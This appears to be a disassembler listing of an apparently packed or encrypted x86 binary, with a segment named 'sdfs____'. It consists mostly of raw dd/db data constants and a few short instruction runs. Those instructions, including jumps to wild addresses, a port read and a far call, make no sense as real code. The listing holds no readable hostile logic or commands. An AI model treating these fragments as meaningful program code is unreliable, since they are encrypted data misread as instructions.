		dd 4A692819h, 0C100D4A8h, 4B3A7C84h, 0F6013D6Dh, 4803CE2Bh
		dd 1C34376Fh, 0FEDC9875h, 0A518C4FBh, 68F30544h, 0C080ECD5h
		dd 0F858E383h, 0E8E47011h, 27F3278Bh, 49683068h, 65A5D90Bh
		dd 9DD4014Ch, 9835D520h, 251DBBE0h, 1885EA57h, 0C0D81EE4h
		dd 41E56FBFh, 17F3AF4h,	0D71CDB70h, 0F84BAEB6h,	17A8F0A6h
		dd 0A069F3FEh, 71AABECh, 358F642h, 240C5CB2h, 120F9h, 0D41D6F9h
		dd 40E8F79Ch, 9B67DF39h, 40119BF5h, 1F114A8h, 11D8EA03h
		dd 243D76B2h, 0BC94CFFCh, 94C444A5h, 16C0AC6Ch,	5B8CB309h
		dd 6C68B099h, 2666D80h,	1D15FD25h, 84AF61h, 7BDE080Dh
		dd 0C0E5ACF3h, 0EB459C38h, 0A513DB52h, 9D0CF7DAh, 0F9740E7h
		dd 2611931Bh, 0B4245685h, 0AF131D58h, 40DCE09Dh, 0DEED0378h
		dd 0BC851DF0h, 1C9C702Eh, 68246069h, 43E14B51h,	0F6B069D4h
		dd 0FA072025h, 1FB60090h, 8C3BDFCh, 0BB12A711h,	58E3BED7h
		dd 0B1EA1D12h, 0B1A7D0ACh, 91C0909Dh, 0DF575CDDh, 29710A00h
		dd 0B4D8F582h, 0F6DD60Bh, 7FC4015Ah, 0B500C1BCh, 89B55E68h
		dd 53C86870h, 1836E77Ah, 36A89A32h, 0E397AC90h,	0BF105700h
		dd 0B4886C1Dh, 792300E0h, 0C90D849Bh, 82011733h, 8AFC9091h
		dd 0D3E8D25Eh, 7928DC34h, 7C98B0BAh, 0ACA4102Fh, 81EF4B01h
		dd 63D1E784h, 680873E1h, 0AFBCCB1Ah, 2C1C3028h,	6797373h
		dd 0D4C99037h, 0DB0318D7h, 0A4B73354h, 0B0F7A02Bh, 0B9B0A5h
		dd 0C3317123h, 0D0932AD1h, 0D920DD00h, 87083F5Fh, 7F40774Ch
		dd 0C3650097h, 54889D29h, 49C7A88Fh, 604CA714h,	0B06E0021h
		dd 0D80F9F57h, 48A34F51h, 0D1A00EFFh, 998A39D3h, 0C9D51106h
		dd 620CAF6h, 74BFDDCh, 7E0C4896h, 38F5704Ah, 0AD2500D1h
		dd 0D548AE88h, 237A274Bh, 0A100EDF8h, 0B156B32Ah, 3B7EBCE0h
		dd 0BD1F51EEh, 54220375h, 0A006CFA5h, 492DC9DEh, 6F57F828h
		dd 589F58B0h, 0F8FFC8BDh, 0F9D57B80h, 0F069D101h, 0A3652A4Eh
		dd 0E31EA528h, 6861520Ah, 0D56EAE00h, 18903F25h, 8172C7Ch
		dd 3CF030BDh, 52634A70h, 0EAEEBB28h, 53C48029h,	6D32F67h
		dd 0F054683Dh, 1A03A1FEh, 885109F1h, 247DE1D2h,	337892h
		dd 29A8B387h, 0D73C56AAh, 0FFE50051h, 0BDAC8E62h, 5DA707A4h
		dd 365AD1C6h, 0B600A829h, 4E23B490h, 50B899C9h,	3CCD003h
		dd 4B8112AAh, 98008FDBh, 45D1089Fh, 0C10CB254h,	18C9D870h
		dd 5D945052h, 8D019F9Ah, 4AE183A2h, 3882A7EFh, 73AB4BC6h
		dd 6A819481h, 0CB09E0C4h, 646710C0h, 39CFF35h, 10B9AC82h
		dd 89C155FCh, 8086D1BFh, 9F48B1F1h, 2A68CA88h, 0EC982F93h
		dd 33C48057h, 83281548h, 5096554Bh, 40F81018h, 0B5017B29h
		dd 4AF9BA7Ch, 20A4DBC2h, 0B660A75h, 0B4C0ADE0h,	286142C9h
		dd 9020A4D0h, 0CF0FA7F8h, 49D2DB18h, 8106FCCh, 0AF6755CCh
		dd 0F432940h, 4C63F803h, 426004ADh, 831234A9h, 24B043C8h
		dd 0B800EA56h, 0F97EFD69h, 181E5523h, 5CC551D1h, 60C184FEh
		dd 3D98A3BDh, 0D0203CE9h, 0EC541820h, 51D570FDh, 182483Ah
		dd 2C3AC3A6h, 1F0DA38h,	5CD47CF8h, 0B91D6FE4h, 5EEC8C1Fh
		dd 0DB008A0Dh, 8CD2025Ch, 0F2512515h, 50618E1h,	0C0580201h
		dd 0FC79C528h, 1674A2CCh, 3A749067h, 5C8B250Dh,	2C03EC81h
		dd 1E013834h, 8996B353h, 7FEC5BD4h, 5CC1E1E5h, 0C7E242D8h
		dd 0D3C92A0Ch, 4F0B63C6h, 325058Ch, 3C5FE531h, 68798A14h
		dd 6461882h, 0A52B6EAh,	5AC90207h, 8AE0ED84h, 0BC251Dh
		dd 543515ABh, 535CD92Ah, 50ADEA3Dh, 1D009962h, 0F8480D9Ch
		dd 3BE8C2D8h, 350F8204h, 2A0281Ch, 0E7EA60FCh, 658C2940h
		dd 0C5803Dh, 1C8EB93Fh,	3262228Bh, 0A5936962h, 850E8A87h
		dd 10A4ECEAh, 813C01B6h, 0B7539AC6h, 0FEFD868h,	0AC7FF7F2h
		dd 0EDEAF40Ch, 3C892A72h, 0EE185ACFh, 35B3109Bh, 6705D2F4h
		dd 0CF2815Bh, 6160D1BAh, 840324h, 0BC545292h, 68891460h
		dd 0CDA8A38h, 215C2535h, 13CB6C32h, 0B4A8855Eh,	6F03CE82h
		dd 0C2287038h, 0BC581AE6h, 0FF00C53Bh, 7004BE56h, 0F828390Ch
		dd 1C932D6h, 104E7E1Eh,	40E9778Fh, 2C4FEAE0h, 75F5CAA8h
		dd 321BA80h, 824D2232h,	0CA05EF2h, 0D278F830h, 526CE201h
		dd 0BF576F53h, 2A010206h, 5FF288CFh, 76F7CEEAh,	0C7822914h
		dd 27D888F9h, 3CE36905h, 0B951B730h, 0C18CE8A8h, 0A3EAC212h
		dd 0C0208107h, 5EE67D19h, 0CEED70E8h, 2AD482B0h, 32403433h
		dd 5D0D0667h, 243A52F3h, 8545A1Eh, 3209E193h, 803312C4h
		dd 4217C008h, 0C10B50D9h, 0FD646FEAh, 0B012F780h, 0FB60BE6Ah
		dd 2BEE820Bh, 7E40967h,	430FFE2Ah, 7BBE5323h, 3F60C8F0h
		dd 102D2203h, 52E31787h, 0CD404E70h, 14EF690Ch,	54BE4380h
		dd 0FF0F45B4h, 0E5D4F7CCh, 0EA492132h, 0CAAC03E7h, 0F43ED939h
		dd 0E88A348Dh, 847A0364h, 0C4340C33h, 0EA060C32h, 521C6BC3h
		dd 6352B663h, 9E115017h, 5116413Dh, 0F05C55AFh,	4B140BBAh
		dd 73E96FC3h, 76EA4831h, 2C807C9Ah, 0BA0728BEh,	0F6018271h
		dd 0EBF806C4h, 0DD5062EAh, 5C535A55h, 0E5438169h, 33CBA24h
		dd 29BB3AF3h, 0EB820B01h, 6B774CC2h, 18498C90h,	93BA1588h
		dd 0F4028030h, 55738C48h, 0CDECCD7Bh, 0EB75C154h, 895AEAC1h
		dd 2FA8AE5h, 29ED1EFh, 4F62025Eh, 905C1623h, 7F8C579Fh
		dd 9D0CB31Fh, 0A9DBDC28h, 87168D2h, 59E5482Ah, 6320DD30h
		dd 0A8BC144Fh, 507BE7C1h, 41B663F7h, 257D2A0Dh,	0DCF58209h
		dd 8AAE509Dh, 80E29F88h, 5F1766D0h, 73A0581Ch, 678076D4h
		dd 3B84E45Ah, 563C02C7h, 2D03BE0Fh, 0EAEF3280h,	28C18BCCh
		dd 9EEC25Bh, 0FB2FBE43h, 63F2DF70h, 0AA690013h,	2D040239h
		dd 4E3825Bh, 10B1BB87h,	3524B084h, 7EB3FC2h, 78C4CB80h
		dd 0DF8A7DEDh, 527E5349h, 8D06902Ah, 0A4412288h, 0C0005922h
		dd 4E0308F5h, 60F92A29h, 88069A02h, 1D0D850Ah, 0B941E120h
		dd 0D635950Ah, 4851CAF7h, 92E834FFh, 37C67CC4h,	0FB18126Fh
		dd 254A2B06h, 2BE39820h, 93D11D8Ch, 0E45A0A4Ch,	0E4498FAh
		dd 5280222Bh, 93C732EAh, 7412EDCBh, 225312C8h, 0F8225B0Ch
		dd 8CCDA2D3h, 0EA34982Dh, 34EC4D75h, 22366D30h,	4F1B2313h
		dd 0E2105D02h, 0EA0C9045h, 32DA609Eh, 3A3D8406h, 2ED92CC5h
		dd 0B4EA0702h, 638FC41Ch, 0E38A940Dh, 800CFEE1h, 4FE1C7B7h
		dd 485A6426h, 0EE7F5088h, 2A37C97Dh, 0A6386211h, 0FF2C786Dh
		dd 7D40660Fh, 0ECA10BECh, 4666A64Fh, 0B942C01Bh, 15FC5DC4h
		dd 0BF03632h, 0B4CDC851h, 4C461758h, 72A105Ch, 2249592Ch
		dd 84C2A1C8h, 30515C01h, 0B10F9363h, 0C6D931D0h, 0A49AFC40h
		dd 0E17317Ah, 166FD85h,	23705553h, 0EF0A9210h, 40E91E20h
		dd 0DF00F817h, 0E30EF82h, 3902C6E8h, 0F0AA5FF6h, 32DE91D3h
		dd 9C0550Ch, 0E7B248BAh, 57306B0Fh, 8D584676h, 24EA8C14h
		dd 395BFB8Ah, 3C71698Ah, 5AB5C088h, 4D982F0Eh, 695BB1C1h
		dd 0BD892294h, 2C14A270h, 353354A1h, 25E601Ch, 8459C61Ch
		dd 2D10CCE6h, 0EA0D066Ch, 2484495Dh, 0A49005Ch,	8B04FC72h
		dd 0D2C1D929h, 69903A4Eh, 0C5848EC4h, 0BE018803h, 2A7E695Dh
		dd 0BC1AE433h, 0D8002939h, 637351C0h, 44D07EB8h, 0BB531B08h
		dd 0DBE59F27h, 7EE37581h, 0A8158C01h, 0C2316B8Dh, 0D882903h
		dd 84799F32h, 24D8FB20h, 8807345Ah, 6905729Eh, 3DCD0F9Bh
		dd 0EB2A3910h, 96D64C88h, 3113E420h, 2C0167C6h,	2055AE9h
		dd 0A72D8143h, 0F6C1C525h, 0B0709CB7h, 0EFC10139h, 0B8696706h
		dd 0DAA2D258h, 0C3E18FB1h, 79C7CC4Fh, 10DD2973h, 0EBB7A060h
		dd 1EBC807Fh, 6D5A4E1Eh, 4E189289h, 1C462150h, 0B6598491h
		dd 807BAA4Ch, 71E55B9h,	0E4921C38h, 3298B446h, 6346D2Eh
		dd 10C0600Dh, 0B3416081h, 82001990h, 3E1452C6h,	1FC70D5Ch
		dd 0EFC0D3B0h, 565BD602h, 662CC85Ah, 3329CC26h,	0B3048789h
		dd 6A9CC91Bh, 58E6B39Ah, 0EE53E046h, 0E02D26DFh, 62092894h
		dd 73908A1h, 0ED2F90BEh, 0E67C8220h, 5F1F2916h,	4AD2395Dh
		dd 38469149h, 0C8A82E7Ah, 0B60E8A8Fh, 2ED8D4E4h, 0A2003C0Eh
		dd 0E681C6FFh, 0DEF73ACAh, 6BDF699h, 30F7570Fh,	67332DF1h
		dd 0A63D5B74h, 6805BA29h, 5E345F68h, 64E22091h,	0A9DC1005h
		dd 3524BC05h, 5BF10E61h, 0E4C20F90h, 98650403h,	0F21F9CDh
		dd 0B0538F18h, 829F7B11h, 4F03F028h, 0EF9D0C7h,	690F2112h
		dd 0E4965704h, 2646A036h, 7023E00Fh, 0A15D450Dh, 8F563ED2h
		dd 3D8024C6h, 5CCF8200h, 0EDE76430h, 5F75967Eh,	205D3D49h
		dd 69C910B7h, 462D4CB2h, 0D737BDD0h, 15BADD86h,	0C1110456h
		dd 3609168Bh, 32DD4062h, 1E30E5CEh, 0FA02B088h,	48202CF9h
		dd 499D08BCh, 30A1D29h,	2E322975h, 2E8B502Dh, 1EA1EF2Ah
		dd 94C8DF4h, 0CB622224h, 0F741185Dh, 0E93BC9D6h, 0E794C383h
		dd 65F81026h, 774DBB01h, 0B3610589h, 82276960h,	59205860h
		dd 90DF1D3Dh, 0F2492EEDh, 88209D49h, 0E0B33B92h, 73BEEA0Ch
		dd 69521259h, 175053FEh, 651E0E39h, 0AA0C330Fh,	0F0038129h
		dd 0F5831058h, 2B2D1569h, 0C491A95Fh, 8CD597Fh,	0D9D6EA82h
		dd 0DEF6B0C8h, 5A63E033h, 5A1D8487h, 148B6578h,	0DA651D14h
		dd 6D855891h, 2E24E600h, 1826B7Dh, 0DD2BCEE2h, 40DAF880h
		dd 0A4D8FCD6h, 0D0029602h, 8FBF575Ah, 5FF82525h, 2661C4C9h
		dd 87B0E901h, 0C0D7E507h, 23FAB618h, 6037D57Dh,	51F483A5h
		dd 7400412h, 0F1AB1B80h, 740784BFh, 4BC597B0h, 0F8E0012Ch
		dd 0B6212A81h, 20F92031h, 0D4E52761h, 8063061h,	0E07C8632h
		dd 0AB40F134h, 485A7CE0h, 0C92A583Fh, 0CE5591A4h, 3E8ACCD1h
		dd 0B9511B56h, 87D51D02h, 0EA57A0AAh, 58B139D1h, 0EBA22ABCh
		dd 10C10C03h, 128B7385h, 121D788Bh, 511D4349h, 31C1CFB1h
		dd 47D94A9h, 4C695830h,	7E25947Eh, 1332CC82h, 0CF175C69h
		dd 0A11D5C60h, 0F526957h, 82003A35h, 27EB6698h,	84827B90h
		dd 30EA0801h, 43117568h, 332478C3h, 86622EC3h, 0B2070949h
		dd 94C88451h, 12F4815Ch, 711C2399h, 37F827Fh, 8B528894h
		dd 6087A429h, 10675D41h, 10F022BCh, 8A12D507h, 814B02E2h
		dd 6240DD80h, 45E255E7h, 2E97645Ch, 889007E6h, 5ED35D18h
		dd 7A24E99Ch, 0C781C41Bh, 24EF4273h, 0C488B0ECh, 91040516h
		dd 0DAE883A7h, 5C2473C0h, 3F60E918h, 78575218h,	71F1F653h
		dd 0BE1CC4FFh, 0C8010078h, 3FC08359h, 749D5004h, 0E9584324h
		dd 773D2A17h, 8E108EC1h, 0D800DF2Fh, 5822CC0Eh,	6A0C6187h
		dd 0F7E08950h, 32603A9Bh, 0D47462E6h, 0FE01280Ah, 0CD80C6A2h
		dd 5616209Bh, 0D51EDE89h, 0F930CF8Dh, 0DF37DDD8h, 4CE2DF0Ch
		dd 5C0E4767h, 98E8213Fh, 0F7100E23h, 840F0CDDh,	45CED829h
		dd 34608CEEh, 0B7C5811Fh, 42770611h, 169D1AE9h,	995D503Bh
		dd 132D5B8h, 585EE787h,	286FC351h, 0CB352605h, 0BA0E578Ah
		dd 58007013h, 85ECE705h, 0C77D010Eh, 1ACF60B8h,	0EF808128h
		dd 0B9418B34h, 0C548C481h, 7C07B02Ch, 1CFDE9F8h, 0B0500F4Ch
		dd 0E9D90CF3h, 0BA129E93h
		dd 0E2593B00h, 8BD72962h, 0C319A614h, 924EE916h, 0F660E0Dh
		dd 0AA8C74BBh, 83D6D2D6h, 190030D3h, 2BB44B72h,	3DB75F7h
		dd 33DDC381h, 0F3B06383h, 9F8253Ch, 0EA8EE91Bh,	2434903Ah
		dd 0A43DF5Fh, 9DC47B81h, 43C694E6h, 0D102EC40h,	8735EC0Dh
		dd 30280E3Ah, 75021274h, 29C8DF49h, 0C589A040h,	300291AAh
		dd 6801017Fh, 6B845E17h, 60BD242Ch, 0F9432F23h,	3C8B4682h
		dd 0D405224h, 14A2C281h, 40870611h, 0E8015C9Bh,	5D1F0550h
		dd 65A9681Bh, 0BA222A67h, 0E9D00A62h, 82FEBFh, 3BB8F781h
		dd 0F150C5Eh, 7CF4FD86h, 5944E700h, 15E97ECAh, 0C116C069h
		dd 880F03EFh, 40D33033h, 0FA8DB94Fh, 0D7F75D87h, 34809147h
		dd 541280A0h, 83D830ACh, 660230ECh, 44BB28Fh, 0F7E99A38h
		dd 0D12D28C1h, 4D207346h, 0B629401Fh, 0DE043F1Ch, 8E2CF00Eh
		dd 58C3005Ah, 0C3B1EB80h, 0A4E8E90Ch, 5AD2C00h,	48D51614h
		dd 4377092Dh, 0C000AE6h, 600B0C39h, 3BF3872Eh, 0F010835h
		dd 5F026DB6h, 1836EBD8h, 1845BE05h, 89F0BBBDh, 4C172D01h
		dd 0D1E97406h, 0C524A222h, 580E02B6h, 0A3410542h, 43183215h
		dd 90867CD0h, 6095F017h, 0BD55A98Bh, 0DD013732h, 3E89055Ah
		dd 0E0421D10h, 5D07842Dh, 78550680h, 0BB0A5025h, 0CF813D08h
		dd 64E50609h, 79C1484h,	7573FD09h, 0CFA12CDCh, 0A4BE0078h
		dd 462C2850h, 748F0F0Ch, 70CE9B57h, 70B7E83h, 0C189A704h
		dd 4A7CB1BEh, 3F1E8313h, 0D116214Ch, 1CD94FEEh,	0C08742F6h
		dd 14A2F6D9h, 0D35EF529h, 0FA790E15h, 1F9074C4h, 90E432BBh
		dd 0C9B34B5Dh, 3F24702Dh, 0BD30F7E8h, 90334802h, 0D063136h
		dd 66F28B78h, 7D44F6E9h, 3AB85003h, 0C809477Ah,	8010A0E9h
		dd 8483368h, 0A693D471h, 0BE259138h, 0CF10EF4Ch, 33976865h
		dd 1AFC2C3Eh, 6E0AD8A4h, 13BF128Eh, 0C95F8368h,	26F93289h
		dd 885CEC9Bh, 268CB23Fh, 8E9D488h, 3241B65h, 0D909D31Eh
		dd 400C1046h, 9823E061h, 0C022406Ch, 8008E500h,	0EA88E8C5h
		dd 1BC2EC59h, 4D2F6A4h,	2821A0EFh, 7D905AD3h, 1480A976h
		dd 0C657DA2Fh, 6386470Fh, 18CF9933h, 510C2554h,	4A9E9944h
		dd 912A686Ch, 0A0861E0Dh, 0EECEE91Ah, 0AB4C88FAh, 87C2FB64h
		dd 89DD911Ch, 7C687720h, 0E49D26Eh, 3518BF61h, 0BA0E5257h
		dd 0C6E92DE4h, 0ECBA5401h, 0AD99A9C2h, 0DFD920h, 81519864h
		dd 0B73714E3h, 0D33848h, 0D9F1BD91h, 55BDE29h, 8068C601h
		dd 2693533h, 0AC1E11B0h, 93C59A40h, 2A4E0B01h, 64E9CD87h
		dd 0ED5F1F24h, 3DA253F9h, 9DF520F5h, 5C24429Bh,	0E489303Bh
		dd 0A2D1B4E9h, 21126583h, 210F2606h, 28AF2388h,	9BA34D9Ah
		dd 0C805576Fh, 526E9173h, 0D13C20B2h, 4564BAF6h, 2BA1C757h
		dd 8BAA3E41h, 0EB2AFA0h, 0DAD8FCB9h, 0F6DC4CDFh, 2D03AD56h
		dd 3720988h, 0EE39E355h, 5F11A96Fh, 9AA8E40h, 0C1052EBFh
		dd 162C2CEAh, 2A3718E9h, 8B6AF021h, 72ED71C0h, 7337E1CDh
		dd 0F5C08E76h, 9AE9C209h, 901D927Fh, 505CCF4Ah,	8B93546Ch
		db 0CFh
; ---------------------------------------------------------------------------


loc_51AEB9:				; CODE XREF: sdfs____:0051AF15j
		xor	[ecx+0Ah], dl
		pop	ecx
		and	al, 46h
		or	dword ptr [ebx+eax*8], 4Fh
		jmp	near ptr 1651BFCAh
; ---------------------------------------------------------------------------
		dd 94728ABFh, 4CF73138h, 0AC00D35Eh, 158AB6Dh, 0ED26E9FBh
		dd 0F1982F1Fh, 14330950h, 265E3699h, 3C891410h,	0DDB707B9h
		dd 5DB401C9h, 26082C80h, 6E1E4807h, 7DC522Eh, 0A1E7C128h
		dd 841A7BE9h
		db 38h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		test	[eax], ch
		pop	ebp
		push	esi
		mov	al, ds:10062C5Dh
		jle	short loc_51AEB9
		xor	eax, 90142168h
		jg	short loc_51AF6B
		jecxz	short loc_51AF2D
		jmp	near ptr 0D99CE36Bh
; ---------------------------------------------------------------------------
		db 19h,	75h, 1Ch
		dd 23C29914h
		db 0CEh
; ---------------------------------------------------------------------------


loc_51AF2D:				; CODE XREF: sdfs____:0051AF1Ej
		mov	cl, [ebp+edi+6E8C66CFh]
		or	bl, [eax+403D45B1h]
		xor	eax, offset dword_4ECA24
		lodsd
		mov	esi, ebx
		mov	cl, bl
		pop	edi
		xor	ebp, eax
		xor	cl, ch
		test	[ebp-6EB64898h], ebp
		in	al, 0BEh	; Interrupt Controller #2, 8259A
		call	far ptr	6100h:8060E658h
		and	cl, [edx-1A7EF89Ah]
; ---------------------------------------------------------------------------
		dw 3D8Ch
		dd 7CE961A0h, 9F7F739Ah
		db 4Ah,	70h, 4Bh
; ---------------------------------------------------------------------------


loc_51AF6B:				; CODE XREF: sdfs____:0051AF1Cj
		cmp	eax, 77080FC9h
		sub	[esi+53h], al
		xchg	eax, ebx
		sbb	ebp, [eax+4FBE0324h]
		jo	short near ptr dword_51AFAC
		push	424D9050h
		xlat
		or	[edi], ch
		jmp	near ptr 3366C82Fh
; ---------------------------------------------------------------------------
		db 8Fh,	10h, 0DFh
		dd 680D545Dh, 9277EA2Eh, 4C52BE68h, 0FD012043h,	51172C42h
		dd 0C87730B9h, 1232E959h, 0C05E106Fh
dword_51AFAC	dd 0F1164C8Fh, 49659E20h, 0B86C9F2h, 0E501D98Bh, 4A1E2A72h
					; CODE XREF: sdfs____:0051AF7Aj
		dd 5DDC14Dh, 185BF5E8h,	8E28553Ch, 422CFB0Bh, 8B1A6AE0h
		dd 940A5080h, 56C0664Eh, 59DD222h, 0A4700CEFh, 0F3BDC035h
		dd 0D40253A3h, 0E4E9FA31h, 0C30348FCh, 55110250h, 7CD16870h
		dd 0CD59E6B0h, 3E60848Ah, 95B92ED0h, 63DB0033h,	0B18E181h
		dd 86903AFAh, 32047F01h, 0D1D9F77Dh, 0DEE9D0FBh, 0BFE70BF0h
		dd 188FCA01h, 0D04E7F24h, 0F7685145h, 1C7590E9h, 7FA85D2Ah
		dd 0BA3DEE59h, 0DE980DAh, 6466947Dh, 2F4782C8h,	10039687h
		dd 850F2DDAh, 2836E924h, 0F540868Ah, 3E4A7869h,	0A89A75B0h
		dd 12621A1Eh, 5AD7EF18h, 0E91809A4h, 0F68F8D5Ch, 0DE8825DBh
		dd 80033794h, 0E6C086CEh, 9BF6B106h, 0C003EED8h, 0F028450Ch
		dd 2B0C045Ah, 3383A5E9h, 2A5D98C3h, 7FC3EF97h, 306919CBh
		dd 28F4C21Ah, 0E72A7A02h, 70C0EF06h, 0CD8B0124h, 53547457h
		dd 2958443Ch, 909CC512h, 191133F0h, 3A055A48h, 6A2F9703h
		dd 8239A11Eh, 0D94FC86Fh, 89ACC031h, 5B381C5Ah,	203352E9h
		dd 0B3AD8F1Fh, 0C304D0B8h, 65010FB7h, 648482C4h, 0E9870818h
		dd 394C6EE6h, 16691D3h,	348DF5C1h, 66485CF8h, 0CC2D862Ch
		dd 0C2C106F9h, 2C564A3Bh, 3E1E0FFh, 0F48A0F1Eh,	9C32537h
		dd 0E04C9342h, 0C04D9B8Bh, 0B7B1F16Bh, 8918DB34h, 62B459CFh
		dd 0A82F6229h, 0F86C5FF9h, 0BE46514Eh, 3C888F59h, 0BAA685Ch
		dd 2F8320F5h, 0EEC8839h, 0C15958E6h, 5C8A5AF5h,	6CB538BEh
		dd 18748741h, 0B5518F3Eh, 0A3B4EEB6h, 0F93EB050h, 2901011Ah
		dd 0B29F40D3h, 614E4D33h, 69623C29h, 0BA9EB9C0h, 294C2012h
		dd 68570128h, 41CD7A05h, 58EAB748h, 38D39722h, 5D8CED18h
		dd 51020677h, 65766866h, 9A988F5Ah, 6831EF41h, 0C426C832h
		dd 0AA017A7Fh, 86EE9h, 707E0C1h, 6D0FF405h, 0D581310Ah
		dd 0DFA85113h, 6860453h, 1F29EF04h, 7B616D9Ah, 688085FBh
		dd 6B5210CBh, 160E9E1Fh, 0EE81A09Eh, 48776A6Bh,	5B22364Ch
		dd 6292CD06h, 9FE1C7Fh,	2AEB40C3h, 54485180h, 1247895h
		dd 0C7010DCDh, 1861431Dh, 0A072F0BCh, 91575D08h, 4C5F110Dh
		dd 0F7F88496h, 25005809h, 0E228B5D2h, 29CD8926h, 0E9899523h
		dd 0B314E0F1h, 2CB560FDh, 0E5045BDDh, 533AE8EAh, 71E98BB7h
		dd 360F282Dh, 1BD0DF65h, 0E058C188h, 140B96C8h,	99C3359h
		dd 32032CE8h, 6E4AE3D8h, 0A3776116h, 48598AF2h,	0A3F1F750h
		dd 871D12B3h, 627EDD14h, 0C0E9C4C0h, 0EBAC7093h, 0A33EFB0Eh
		dd 6A87E293h, 0C8248EC2h, 0B450425Dh, 0D294E143h, 87E45B20h
		dd 59FF38E1h, 0E2C0F06Ah, 9CCC9806h, 99802799h,	65AA6802h
		dd 31DD5C4h, 0C0525107h, 127C3560h, 0EA017098h,	0B8ABC182h
		dd 0E9E4D189h, 5A5849C2h, 685DEE02h, 6DC60786h,	40DA62F1h
		dd 2707C6EDh, 16EE746h,	8360869h, 0C233A83Fh, 0D06316Dh
		dd 5A0F6420h, 0C70F44B3h, 6D0413C9h, 0F0777DFh,	0D2CBA48Fh
		dd 0B9EAAAE2h, 2EE0F510h, 94D7F680h, 0CAFE0CC6h, 0D640E134h
		dd 8DF23980h, 28CDC29Fh, 334966A5h, 216E1CD2h, 0E5EAA632h
		dd 0B02E0906h, 50AC015Dh, 39586FF0h, 0ADBBC0ABh, 302A1F56h
		dd 0BE244481h, 29ECCA79h, 14F96E9Ah, 0D5E90C04h, 0B414D488h
		dd 8951802Dh, 56FA68E1h, 14BCC5B1h, 0C2377698h,	0E3618D4Fh
		dd 460ECCBEh, 88F064C5h, 0A3520F05h, 492622A1h,	0ADCC6252h
		dd 0F12430Dh, 3D4F928Eh, 6E38A457h, 513E9FB7h, 8D11B295h
		dd 0BA9F212h, 3380C0B9h, 0DDF6FD88h, 8BF0EFE8h,	2D30C60h
		dd 0C40E35E9h, 83CDB541h, 0D09959D5h, 44FFDD04h, 4ADB8BF9h
		dd 802CDB2Ch, 0B980F188h, 0B2400D30h, 30024110h, 13C52F63h
		dd 5791CE89h, 90EF53FFh, 0F8E9F701h, 9DDFB618h,	5E0BFDC6h
		dd 0CF482158h, 125C6DE9h, 0B9879C9Dh, 78B50F23h, 0E0C178D4h
		dd 8082C880h, 0F06C41BEh, 0E681BD80h, 99245E34h, 919524Fh
		dd 0C1483145h, 5837C965h, 9E068F8Fh, 0CD07E905h, 7B364A86h
		dd 58E118B5h, 33B21269h, 0D3063106h, 0C2400B0Dh, 0D6F7B340h
		dd 0D80FB090h, 67B4C39Ah, 0E8E05EF0h, 0A579C05h, 2C8B79CDh
		dd 95D6EFB7h, 7F2E83B2h, 0FFDC1524h, 842C3A17h,	68E009D3h
		dd 24235A84h, 0A9482554h, 78130550h, 6D805223h,	63D5A10h
		dd 0A80BA54h, 0FA64A855h, 0E9058353h, 17790A3h,	0C3F65DEBh
		dd 7EDB0259h, 5EF3962Ch, 0B11B4188h, 8E5652BEh,	498C2882h
		dd 4232805Eh, 163FE854h, 4738E4E9h, 2FF03101h, 0B9E108DBh
		dd 92D52C39h, 5D0CCE52h, 4099C97Dh, 892E534Dh, 42292CE3h
		dd 26AEEB9Dh, 6852C8E9h, 387D4F8Fh, 0ED4196B5h,	0C1099542h
		dd 5B0282ADh, 82819246h, 2912747Ah, 0F2F04A90h,	0CC704A4Eh
		dd 6D5BB53h, 0E90DBD01h, 0BA04171Eh, 74BC6FCCh,	90381380h
		dd 388B6043h, 6BE618EEh, 69A60CC0h, 130133E8h, 808FE9D1h
		dd 16684BDDh, 302D33F7h, 525BD6F7h, 51B00BBAh, 0B28938A6h
		dd 79EB0280h, 0B9609CACh, 0E0398A52h, 12D9FE7Ah, 0DA7C9AE9h
		dd 0ED4276F1h, 579BE917h, 82F387AEh, 85E411ECh,	7B14BB09h
		dd 0EE57818h, 2C545C80h, 4E74E7C3h, 0CCE907F8h,	84F7E34Dh
		dd 35B41B6Dh, 201714D8h, 0B9709623h, 10F82B1h, 0A60298Eh
		dd 252CD093h, 3B35E218h, 4043FFE4h, 15B4565Ch, 8809BB63h
		dd 0D3514897h, 0B92140EAh, 449B5FC6h, 664278C0h, 0B0311D5Dh
		dd 40014D8Fh, 1DDEE16h,	4AE92D2Fh, 0C0AE2C98h, 52D318F5h
		dd 136375B9h, 0C031681Ah, 518BC162h, 25257D3Ch,	0CE914255h
		dd 0FC97C121h, 603D6305h, 210416CFh, 0DA29176Ch, 8120484h
		dd 0C10FA68Ah, 0CA2003E2h, 67FD5528h, 2B5AE918h, 5479681Ch
		dd 1503252h, 0E0CE7B0h,	3810C9E9h, 0DE338A83h, 3B3FB58Ch
		dd 140A44D6h, 0EA7B4082h, 320981C5h, 13E13384h,	0B684BDB2h
		dd 1315BA08h, 338CB51h,	1C57316Eh, 1AF6F94Eh, 3D29C460h
		dd 0E2378C0Fh, 11CEC04Ah, 1B17B733h, 4B4EB8E9h,	628EC949h
		dd 5A5AF038h, 527A7151h, 0A22908BAh, 0C6F007DCh, 0F7590F18h
		dd 7ACE8746h, 2D687B0Ch, 242534CAh, 1720C308h, 0AD3C4970h
		dd 30501812h, 6073F909h, 0EF45C10h, 5F895551h, 0F14F7B25h
		dd 88BDE801h, 2972E6C7h, 4E95D90h, 0BF24C08Fh, 4AD11602h
		dd 5F49F9FAh, 0F7E98467h, 32623EBCh, 98C53A6Ch,	0A2B99425h
		dd 42C098A6h, 0A6B6D2CAh, 0DA131A34h, 5081DA16h, 8A02C8A2h
		dd 0BBF643E9h, 9E5AAE06h, 8E138B10h, 0ED7261FDh, 0C3581811h
		dd 5C0036Ah, 33F3D2A4h,	0BB313041h, 0C5AB4C06h,	5EC1F9F6h
		dd 68D0CCB6h, 940C78BEh, 98CF889Ah, 59EF2804h, 44B4F80h
		dd 0C0FE3F2Fh, 88C46EF3h, 380BAEADh, 31D94ADEh,	0C12E452Bh
		dd 0E67881E8h, 0DA310121h, 0CF80AADCh, 0EFCBD863h, 675AE962h
		dd 6988642Eh, 81617E18h, 29BC09C9h, 2D000F6Fh, 0A39F69C6h
		dd 0E77BE915h, 4ED669A7h, 0A6F8B1CCh, 46E9C1EDh, 607F2528h
		dd 75405D12h, 78CFB84Bh, 0D4C181E3h, 0D375F703h, 9B06EB24h
		dd 0ECB03CE4h, 96341767h, 0CA72126Ah, 0B2E91C3Ah, 0B0B964A5h
		dd 71144BD9h, 1432F71h,	4120D029h, 68423D58h, 0BDBF71Dh
